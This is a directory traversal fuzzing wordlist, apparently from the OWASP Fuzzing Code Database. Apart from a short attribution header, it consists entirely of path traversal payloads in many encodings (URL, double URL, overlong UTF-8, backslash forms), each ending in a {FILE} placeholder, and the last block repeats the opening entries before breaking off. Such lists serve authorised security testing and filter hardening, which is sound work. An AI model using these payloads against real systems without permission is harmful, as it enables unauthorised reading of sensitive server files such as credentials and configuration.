Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> 